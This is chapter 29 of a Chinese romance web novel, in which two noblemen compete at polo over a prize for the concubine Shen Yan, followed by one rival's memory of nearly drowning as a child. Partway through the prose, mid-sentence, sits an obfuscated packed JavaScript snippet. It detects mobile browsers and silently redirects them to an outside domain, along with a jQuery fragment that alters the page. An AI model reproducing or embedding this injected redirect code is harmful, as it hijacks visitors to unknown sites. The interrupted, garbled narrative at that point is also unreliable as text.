29. 参赛
作品:《世子的契约侍妾》 沈妍闻言一愣,最后那句,她尚未醒过味来,高云锡忽朝她挤挤眼,不等她答话,转身大步奔向球场。
马球场内人头攒动,参赛队伍根据腰间的红、蓝缎带分作两班。
一班由韩国公府嫡二公子桓超带队,另一班则由御史大夫顾光庭的嫡长子顾弘逸带领。
由于队伍均是临时组建,此时双方人手都还未齐全。
顾弘逸遥遥望见高云锡朝球场走来,眼前一亮,连忙向他招手,扬声道:“玄清,这边。”
待高云锡走近,顾弘逸含笑调侃:“今日刮的什么风,竟把贤弟给吹来了?”
高云锡挑眉,疏懒地摊摊手:“谁让这次的头奖那么香,小爷我闻着味儿便来了。”
顾弘逸笑得愈发灿烂:“只要贤弟肯加入蓝队,想要天上的月亮,哥哥都给你摘去。”
不久鸣锣开赛,事实很快证明,顾弘逸招揽高云锡入队实乃明智之举。
赛程尚未过半,高云锡一马当先,屡次进球,带着蓝队遥遥领先。
更难得的是,此人除了马术、球技出色,还拥有出色的合作与掌控力,协同队友牢牢控制住局面,如不出意外,蓝队已是稳操胜券。
但意外还是来了。
下半场,红队突然换了元琛上场。
自那之后,任凭蓝队在顾、高二人指挥下,如何对元琛围追堵截,对方愣是神出鬼没,频频出人意料,杀出重围。
而随着马球赛接近尾声,在元琛强势反击下,双方眼看竟要追平比分。
球场中心,元琛纵马挥杆,疾冲向下一球,高云锡瞅准机会,斜刺里攻上前,将对方的球杆架住,语气讥嘲:“不是向来不屑上场?怎么突然改主意了?”
元琛勒马绕开,探身又去击球,淡淡反问:“你不是也在?”
高云锡却抢在元琛击球前,陡然伸臂将球拨开:“想跟我抢头奖?”
眨眼工夫,元琛再次冲到球前:“你说是便是了。”
高云锡不依不饶,在元琛正要挥杆击球之际及时赶上,击中元琛的球杆。
四目相对,二人中间似有火花迸溅。
高云锡冷声道:“你就这么喜欢和人抢东西?”
元琛则寒着脸:“喜欢抢的明明是你。”话未说完,长臂探出,又稳又准地将球击进洞中。
一杆追平比分,元琛视线不自觉看向场外——看台上,沈妍盯着球场一脸失落。
元琛眼神霎时又冷了几分。
附近看台上,眼看元琛又进一球,桓莹玉激动地站起身来,连连拍手叫好。
双手笼在唇边,她忍不住朝元琛大声喊道:“忌平表兄,我要头奖龙涎香!”
大庆民风开化,女子观赛鼓劲,乃至亲自上场打球都不算什么稀罕事。
这边,桓莹玉尖锐的嗓音传入球场,元琛眼波微动。
头奖是龙涎香?
获知这一消息刹那,元琛脑海中蓦地闪过沈妍时常摆弄的干花、口脂、香团……耳畔随之响起她说想开店的那些话……
紧接着是拱桥上的高、沈二人……沈妍满含期待地看向高云锡……
电光石火间,他好像明白了什么。
从前在京中,他和高云锡没少打交道。如果这几年高云锡身上没发生什么重大变故,那么他和自己一样,应该也不会现身球场……
身侧,高云锡再次朝他纵马驰来。他眼神坚定,仿佛誓要拼个你死我活。
元琛似是一怔,便在此时,高云锡动作迅捷地击中彩球。
球体划着漂亮的弧线飞入洞中。
比赛结束。
*
球场边,元琛解下腰间缎带,视线再次瞟向场外。
果然看见高云锡将装有龙涎香的漆盒递给沈妍。
后者盯着漆盒,眼中似要放出光来。
元琛轻嗤一声,心头却是一松。
然而接下来的一幕却又让他不淡定了。
只见沈妍感激地向高云锡深福下去,后者低眸望着她,满满宠溺就差从脸上溢出来……
看着这一幕,元琛神色一点点僵住,胸口仿佛挨了一拳,窒闷难当。
而他的表情落在桓莹玉眼中,却成了另外一种含义。
“一块香料而已,表兄不必放在心上。”她不声不响地来到元琛跟前,柔声安慰。
话落,元琛面色更难看了。
“谁说我会放在心上?”他黑着脸闷声撂下这句,提步离开。
桓莹玉不明所以,怔望着元琛与她错身而过,她张了张嘴似乎想再说些什么,却终是被那道宛若淬冰的背影堵了回去。
直到元琛走出去老远,桓莹玉才小声嘀咕:“表兄何时变得如此在意输赢了?”
这话她像对身旁的宝瓶说,又像自言自语,“早知道就不撺掇他打什么马球了。”
*
看台旁,高云锡和沈妍站着说了一会儿话,忽觉背后有道凉飕飕的视线。
他过转头,毫不意外地对上元琛的目光。
两个男人之间的事,高云锡并不打算惊动沈妍。
于是告别了眼前人,他径直朝元琛走去。
“忌平兄,承让。”笑眯眯来到元琛跟前,高云锡觑着他并不怎么好看的脸色拱了拱手。
后者不屑地轻嗤一声:“你帮我的侍妾赢下大礼,我该替她谢你才是。”清冷的声线听得高云锡浑身难受。
好大一股醋味!
听上去还真像那么回事似的,哼,当他高云锡是三岁的孩童?
后面的话高云锡既是存心打探,也有些想揭穿元琛的底细:“别同我演戏了。”他唇角一斜,凉笑,“什么侍妾?你只是利用沈娘子而已。相识那么多年,你元忌平是什么人,难道我不清楚?”
元琛面上依旧没有波澜,低闷的声音却难掩怒意:“谁告诉你我只是利用她?”
“我的眼睛。”高云锡指着他那双桃花眼,左边的眉梢挑了挑。
元琛似乎懒得理他,没再接话,清寒锐利的眸光向他扫来,带着三分敌意,七分打量:“你早就认识沈妍?”
“反正比你早。”高云锡直言不讳。
随即,他还简略说了和沈妍在晋国公府的两次相遇。
当然,对于沈妍撇下他独自逃跑这种不太重要的细节,自是略去未提。
末了,高云锡言道:“你们中原人不是有句话‘窈窕淑女,君子好逑’,既然你对沈娘子无意,应该不介意我——”
“介意。”元琛沉声打断他,略显晦暗的眼神翻滚着怒意,“警告你,不要打沈妍的主意。”
撂下这句,他便抬脚离开。
徒留高云锡薄唇微张,惊讶地觑着他的背影,片刻低喃:“贪心不足。”
但他心里再清楚不过,从前的元琛怎会为一个女子动怒?
意识到这点,他神色慢慢僵住,半晌,忽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376612|179632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
勾唇一哂:元忌平,你完蛋了。
但他自己又何尝不是?
高云锡至今仍清楚地记得,那日,他在刺骨的湖水中奋力挣扎,恍惚间似又回到了七岁那年。
他和兄长在湖边散步时,猝不及防被一股大力推入水中。
冰凉阴寒的湖水呛入口鼻,不会游泳的他在水中奋力挣扎,呼救……
混乱中,他听见兄长的声音字字清晰传入耳中:“别怪我,玄清,要怪便怪储君只能有一人,而父王最器重的皇子是你。”
看着岸边那道熟悉的身影越来越远,高云锡一颗心仿佛已先于身体坠入湖底。
他和兄长高云铭虽为同父异母,却是自幼朝夕相处,情谊深厚。相较其他兄弟,高云铭是他最为亲近、敬仰的兄长。
故听见兄长说话那刻,高云锡说不清是因为惊讶太过,还是吓傻了,一时甚至忘记了挣扎,忘记了呼救,只是任由着意识一点点抽离。
后来,一名在附近扫雪的仆人发现了他,将他打捞上岸。
父王请来全渤海最好的医师为他诊治。
高烧十余天后,他才勉强捡回一条命。
高云铭推他落水之事随之败露,其母族联合护军兵临城下,逼迫他的父王立高云铭为太子。
事后,父王为保他性命,将他送往大庆做质子。
如今许多年过去,高云锡逐渐接受了无法再回故土的事实,当年落水的记忆也渐渐淡化。
但自打七岁那年后,他一直怕水。
然而,那次他在晋国公府意外落水,失去意识前,一只柔软有力的手却紧紧抓住了他。
高云锡能清晰感觉到,那人娇小的身躯正全力以赴将他推向水面。
他在水下努力睁开眼,看清楚并记下了对方的脸。
他想,这个女人一定是上天派来拯救他的。
只不过,她水性未免也太一般了。
几次险些连她自己也搭进去,倒是没放弃,吃力地拖着他游到岸边,将他从那个悠长、窒息的噩梦中解救出来。
高云锡躺在湖边大口喘着气,片刻后睁开眼,却惊愕地发现,那道纤细的身影正逃似的迅速远离,眨眼消失在他的视野中。
那一刻,他隐约猜到了对方的身份,故而事后没再找她。
姚承嗣残忍善妒,没有十足把握护住那女子前,轻易冒险,反而会害了对方。
高云锡自是知道轻重。
可他好像着了魔。
每晚睡前,脑中萦绕不去的人是她;睡梦中最想见到的人是她;早上醒来第一个想见的人也是她……
自从那次溺水后,高云锡越来越频繁地接受姚承嗣宴请,表面在趋炎附势,实则只为能再见那女子一面。
某次,终于给他达成所愿,不想对方却又一次从他眼皮子底下溜之大吉。
他当时有点伤心,怀疑人家是讨厌自己。
那之后很长一段日子,他没再去过姚府。
再后来,姚承嗣获罪,府中家姬也悉数被发落至各处。
得知此事,他当即叫人描摹了那女子的画像,派遣心腹遍寻她的踪迹,却始终未有结果。
岂料再见面,她已成为元琛的侍妾。
高云锡唇边浮起一抹苦笑。
为何偏偏是元琛?
——旧日他在上都唯一称得上朋友的人。
如果当初是他先找到沈妍,一切会不会不一样?